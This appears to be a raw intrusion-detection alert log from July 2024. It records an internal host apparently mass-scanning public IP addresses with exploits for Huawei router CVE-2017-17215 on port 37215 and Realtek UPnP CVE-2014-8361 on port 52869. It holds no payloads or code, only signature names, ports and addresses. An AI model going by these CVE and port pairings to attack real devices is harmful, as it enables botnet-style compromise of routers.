07/20/24-23:01:06.798720	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59462	37215	192.168.2.13	197.52.246.40
07/20/24-23:01:25.390311	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36556	37215	192.168.2.13	41.119.15.127
07/20/24-23:01:04.848080	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59860	37215	192.168.2.13	197.118.70.108
07/20/24-23:01:06.809008	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57620	37215	192.168.2.13	157.239.6.221
07/20/24-23:01:04.874130	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57240	37215	192.168.2.13	197.150.40.90
07/20/24-23:01:27.277398	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43008	37215	192.168.2.13	41.178.157.195
07/20/24-23:01:36.781020	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55724	37215	192.168.2.13	41.89.156.202
07/20/24-23:01:27.366334	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36698	52869	192.168.2.13	70.153.220.198
07/20/24-23:01:14.546238	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46434	52869	192.168.2.13	47.216.94.0
07/20/24-23:01:36.808711	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33960	37215	192.168.2.13	157.176.116.11
07/20/24-23:01:12.539005	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57216	37215	192.168.2.13	157.91.199.137
07/20/24-23:01:36.866693	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56068	37215	192.168.2.13	41.0.7.16
07/20/24-23:01:08.449909	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43154	37215	192.168.2.13	197.173.217.200
07/20/24-23:01:14.556764	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41648	52869	192.168.2.13	128.25.16.1
07/20/24-23:01:14.566461	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38132	52869	192.168.2.13	87.8.107.75
07/20/24-23:01:14.530874	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38220	52869	192.168.2.13	172.54.67.32
07/20/24-23:01:14.574230	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51640	52869	192.168.2.13	50.131.46.205
07/20/24-23:01:22.749655	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34274	37215	192.168.2.13	197.10.128.41
07/20/24-23:01:08.418538	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42354	37215	192.168.2.13	197.28.173.22
07/20/24-23:01:14.500759	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40920	52869	192.168.2.13	52.185.40.220
07/20/24-23:01:14.512728	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51050	52869	192.168.2.13	162.160.111.35
07/20/24-23:01:32.232613	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59510	37215	192.168.2.13	98.109.125.254
07/20/24-23:01:22.743515	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40824	37215	192.168.2.13	41.81.132.84
07/20/24-23:01:04.853128	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55044	37215	192.168.2.13	41.251.18.109
07/20/24-23:01:06.194003	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35384	52869	192.168.2.13	14.2.30.96
07/20/24-23:01:06.809008	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55944	37215	192.168.2.13	157.189.73.200
07/20/24-23:01:08.447448	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48688	37215	192.168.2.13	41.34.82.97
07/20/24-23:01:36.781255	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38532	37215	192.168.2.13	32.189.105.228
07/20/24-23:01:02.685657	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51442	37215	192.168.2.13	41.58.206.220
07/20/24-23:01:27.354949	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37680	52869	192.168.2.13	163.251.53.210
07/20/24-23:01:12.485458	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59690	37215	192.168.2.13	157.237.78.212
07/20/24-23:01:22.799496	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36170	37215	192.168.2.13	41.223.50.254
07/20/24-23:01:06.801747	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32898	37215	192.168.2.13	31.136.126.119
07/20/24-23:01:22.780464	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59960	37215	192.168.2.13	2.214.49.67
07/20/24-23:01:04.775487	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36730	52869	192.168.2.13	69.82.73.167
07/20/24-23:01:14.530141	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33810	52869	192.168.2.13	114.0.228.232
07/20/24-23:01:21.761772	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51806	52869	192.168.2.13	13.207.20.98
07/20/24-23:01:04.848605	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41346	37215	192.168.2.13	41.154.139.135
07/20/24-23:01:20.569310	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53066	52869	192.168.2.13	147.249.130.149
07/20/24-23:01:14.512354	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34260	52869	192.168.2.13	119.150.77.161
07/20/24-23:01:25.390486	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34132	37215	192.168.2.13	41.67.200.226
07/20/24-23:01:22.748660	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56826	37215	192.168.2.13	41.231.60.115
07/20/24-23:01:04.907419	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53438	37215	192.168.2.13	157.159.38.106
07/20/24-23:01:12.502954	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32958	37215	192.168.2.13	158.248.123.112
07/20/24-23:01:08.381149	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53996	37215	192.168.2.13	41.144.216.124
07/20/24-23:01:02.601732	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52314	37215	192.168.2.13	197.140.115.231
07/20/24-23:01:02.613618	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44900	37215	192.168.2.13	197.77.114.34
07/20/24-23:01:14.526400	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34820	52869	192.168.2.13	176.69.59.228
07/20/24-23:01:27.356781	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47184	52869	192.168.2.13	165.40.137.113
07/20/24-23:01:32.257456	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49448	37215	192.168.2.13	41.158.33.62
07/20/24-23:01:12.360354	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57958	37215	192.168.2.13	157.223.241.149
07/20/24-23:01:25.391404	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43648	37215	192.168.2.13	157.238.114.207
07/20/24-23:01:27.361793	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52498	52869	192.168.2.13	13.207.20.98
07/20/24-23:00:59.020288	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44316	37215	192.168.2.13	197.21.88.67
07/20/24-23:01:25.464927	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57332	37215	192.168.2.13	197.63.178.240
07/20/24-23:01:06.801544	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36954	37215	192.168.2.13	197.9.246.231
07/20/24-23:01:14.539379	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44528	52869	192.168.2.13	176.151.180.197
07/20/24-23:01:06.868773	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49536	52869	192.168.2.13	53.36.224.51
07/20/24-23:01:02.678688	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52990	37215	192.168.2.13	157.200.28.48
07/20/24-23:01:22.736570	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41180	37215	192.168.2.13	206.148.137.228
07/20/24-23:01:27.352864	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42194	52869	192.168.2.13	80.102.232.62
07/20/24-23:01:03.850478	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41808	52869	192.168.2.13	173.70.195.138
07/20/24-23:01:14.521013	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36066	52869	192.168.2.13	138.25.247.16
07/20/24-23:01:22.736536	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48678	37215	192.168.2.13	157.129.238.209
07/20/24-23:01:12.485458	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58732	37215	192.168.2.13	157.20.89.100
07/20/24-23:01:15.087650	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41504	37215	192.168.2.13	41.13.103.39
07/20/24-23:01:14.522190	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47062	52869	192.168.2.13	210.242.150.143
07/20/24-23:01:27.354179	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40872	52869	192.168.2.13	140.192.14.130
07/20/24-23:01:12.539005	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55336	37215	192.168.2.13	197.241.50.58
07/20/24-23:00:59.022098	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43002	37215	192.168.2.13	157.180.195.105
07/20/24-23:01:22.736870	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59148	37215	192.168.2.13	41.200.196.220
07/20/24-23:01:14.505885	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42198	52869	192.168.2.13	4.26.18.222
07/20/24-23:01:36.780938	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34824	37215	192.168.2.13	41.197.147.99
07/20/24-23:01:06.800702	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57088	37215	192.168.2.13	157.41.81.45
07/20/24-23:01:21.646701	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	32804	52869	192.168.2.13	51.92.99.71
07/20/24-23:01:36.780648	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39076	37215	192.168.2.13	41.33.246.45
07/20/24-23:01:14.527257	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43050	52869	192.168.2.13	171.117.89.236
07/20/24-23:01:04.846946	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54142	37215	192.168.2.13	157.77.4.214
07/20/24-23:01:25.390486	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33624	37215	192.168.2.13	157.46.40.182
07/20/24-23:01:20.458035	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44230	52869	192.168.2.13	37.40.108.99
07/20/24-23:01:14.550730	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36120	52869	192.168.2.13	193.187.192.75
07/20/24-23:01:32.250506	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54136	37215	192.168.2.13	57.73.235.152
07/20/24-23:01:27.289200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51740	37215	192.168.2.13	157.198.64.111
07/20/24-23:01:02.620832	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41164	37215	192.168.2.13	41.204.18.19
07/20/24-23:01:12.492810	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35194	37215	192.168.2.13	18.120.15.161
07/20/24-23:01:04.846946	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45420	37215	192.168.2.13	197.214.104.241
07/20/24-23:01:02.603717	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57172	37215	192.168.2.13	157.44.27.109
07/20/24-23:01:06.140603	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42430	52869	192.168.2.13	176.151.180.197
07/20/24-23:01:06.199510	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51056	52869	192.168.2.13	168.69.38.135
07/20/24-23:01:25.395167	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57736	37215	192.168.2.13	197.70.204.142
07/20/24-23:01:27.263646	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42522	37215	192.168.2.13	70.115.96.89
07/20/24-23:01:22.806676	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43962	37215	192.168.2.13	157.35.218.6
07/20/24-23:01:07.537583	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34676	52869	192.168.2.13	188.112.111.250
07/20/24-23:01:02.695891	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35050	37215	192.168.2.13	111.163.203.195
07/20/24-23:01:06.802009	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45708	37215	192.168.2.13	41.57.119.34
07/20/24-23:01:25.397771	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43648	37215	192.168.2.13	157.176.58.25
07/20/24-23:01:22.743515	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56508	37215	192.168.2.13	197.43.76.166
07/20/24-23:01:02.624280	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40674	37215	192.168.2.13	41.156.209.55
07/20/24-23:00:59.022701	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40306	37215	192.168.2.13	157.42.236.252
07/20/24-23:01:36.837667	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38754	37215	192.168.2.13	197.226.134.0
07/20/24-23:01:14.531479	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41428	52869	192.168.2.13	220.26.7.227
07/20/24-23:01:22.737100	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39954	37215	192.168.2.13	41.224.102.140
07/20/24-23:01:14.530241	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49450	52869	192.168.2.13	199.255.47.208
07/20/24-23:01:04.853320	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47924	37215	192.168.2.13	14.145.220.146
07/20/24-23:01:02.685657	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56550	37215	192.168.2.13	161.87.144.23
07/20/24-23:01:14.501512	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42134	52869	192.168.2.13	219.121.3.137
07/20/24-23:01:14.517363	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42652	52869	192.168.2.13	35.117.84.161
07/20/24-23:01:04.874130	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41272	37215	192.168.2.13	157.187.16.84
07/20/24-23:01:32.267589	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45658	37215	192.168.2.13	41.61.8.53
07/20/24-23:01:32.260443	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34972	37215	192.168.2.13	41.18.188.145
07/20/24-23:01:20.318652	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55120	52869	192.168.2.13	105.237.48.102
07/20/24-23:01:04.572286	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59000	52869	192.168.2.13	188.226.47.52
07/20/24-23:01:14.547223	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58280	52869	192.168.2.13	128.199.8.22
07/20/24-23:01:04.977218	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51762	52869	192.168.2.13	84.26.238.160
07/20/24-23:01:32.199190	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34866	37215	192.168.2.13	110.148.63.222
07/20/24-23:00:59.020175	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56530	37215	192.168.2.13	157.178.20.242
07/20/24-23:01:27.236376	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36960	37215	192.168.2.13	157.150.102.141
07/20/24-23:01:36.781139	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47284	37215	192.168.2.13	157.14.209.250
07/20/24-23:01:04.841989	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34046	37215	192.168.2.13	157.101.162.77
07/20/24-23:01:36.808711	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52498	37215	192.168.2.13	41.20.192.113
07/20/24-23:01:21.751574	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38160	52869	192.168.2.13	218.4.141.45
07/20/24-23:01:07.271169	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48956	52869	192.168.2.13	219.243.137.80
07/20/24-23:01:14.500799	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55128	52869	192.168.2.13	168.214.55.135
07/20/24-23:01:22.737180	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35238	37215	192.168.2.13	197.2.26.236
07/20/24-23:01:06.189033	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60722	52869	192.168.2.13	78.145.139.16
07/20/24-23:01:14.530241	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37326	52869	192.168.2.13	97.132.111.117
07/20/24-23:01:32.232613	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36850	37215	192.168.2.13	197.153.69.119
07/20/24-23:01:22.744419	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42520	37215	192.168.2.13	157.63.136.39
07/20/24-23:01:05.440548	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60468	52869	192.168.2.13	170.54.95.252
07/20/24-23:01:14.503288	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32988	52869	192.168.2.13	129.209.221.62
07/20/24-23:01:02.669609	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45550	37215	192.168.2.13	41.45.233.5
07/20/24-23:01:12.543115	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50694	37215	192.168.2.13	77.220.218.149
07/20/24-23:01:06.805919	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41894	37215	192.168.2.13	41.213.109.233
07/20/24-23:01:14.541501	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59950	52869	192.168.2.13	115.52.50.250
07/20/24-23:01:36.781974	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37432	37215	192.168.2.13	41.193.158.218
07/20/24-23:01:08.392907	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57514	37215	192.168.2.13	157.144.91.52
07/20/24-23:01:15.000001	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56576	37215	192.168.2.13	197.241.51.205
07/20/24-23:01:32.207539	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58642	37215	192.168.2.13	41.214.166.104
07/20/24-23:01:32.203847	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43378	37215	192.168.2.13	62.80.254.248
07/20/24-23:01:36.785491	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43564	37215	192.168.2.13	156.63.203.166
07/20/24-23:00:59.022237	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56484	37215	192.168.2.13	197.112.125.91
07/20/24-23:01:02.615483	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35738	37215	192.168.2.13	41.59.239.153
07/20/24-23:01:05.856286	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44894	52869	192.168.2.13	210.242.150.143
07/20/24-23:01:14.539077	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34072	52869	192.168.2.13	219.0.14.247
07/20/24-23:01:22.746773	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38180	37215	192.168.2.13	41.42.196.199
07/20/24-23:01:32.208939	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58924	37215	192.168.2.13	41.36.184.127
07/20/24-23:01:06.812906	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38352	37215	192.168.2.13	197.67.244.232
07/20/24-23:01:08.435254	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45954	37215	192.168.2.13	197.230.171.137
07/20/24-23:01:02.695891	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47758	37215	192.168.2.13	157.113.83.79
07/20/24-23:01:14.546163	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59498	52869	192.168.2.13	177.130.98.196
07/20/24-23:01:32.248799	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50110	37215	192.168.2.13	157.129.173.230
07/20/24-23:01:08.392180	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59920	37215	192.168.2.13	157.246.248.119
07/20/24-23:01:14.558193	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43374	52869	192.168.2.13	76.214.57.173
07/20/24-23:01:02.703502	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42554	37215	192.168.2.13	197.187.132.119
07/20/24-23:01:22.754723	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41914	37215	192.168.2.13	171.133.173.195
07/20/24-23:01:27.363405	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47474	52869	192.168.2.13	83.171.246.211
07/20/24-23:01:12.533731	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59350	37215	192.168.2.13	141.214.124.131
07/20/24-23:01:14.556193	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44522	52869	192.168.2.13	32.227.60.125
07/20/24-23:01:20.578573	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59362	52869	192.168.2.13	134.45.224.216
07/20/24-23:01:06.612454	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46722	52869	192.168.2.13	212.236.125.79
07/20/24-23:01:14.998674	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55292	37215	192.168.2.13	197.251.250.240
07/20/24-23:00:59.020449	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40410	37215	192.168.2.13	157.108.71.72
07/20/24-23:01:02.624280	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56938	37215	192.168.2.13	41.101.96.17
07/20/24-23:01:15.071306	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53690	37215	192.168.2.13	41.194.192.10
07/20/24-23:01:47.062116	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49872	37215	192.168.2.13	41.38.74.84
07/20/24-23:01:08.459273	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54206	37215	192.168.2.13	157.51.155.134
07/20/24-23:01:05.825168	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43140	52869	192.168.2.13	49.79.222.119
07/20/24-23:01:15.059692	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46202	37215	192.168.2.13	77.255.245.79
07/20/24-23:01:25.449394	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59932	37215	192.168.2.13	41.111.162.130
07/20/24-23:01:03.972311	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60658	52869	192.168.2.13	180.57.201.161
07/20/24-23:02:11.344274	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34470	37215	192.168.2.13	154.144.48.222
07/20/24-23:01:08.381149	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50570	37215	192.168.2.13	157.98.253.141
07/20/24-23:01:27.352942	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53108	52869	192.168.2.13	98.254.20.30
07/20/24-23:01:14.533279	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53132	52869	192.168.2.13	221.82.215.87
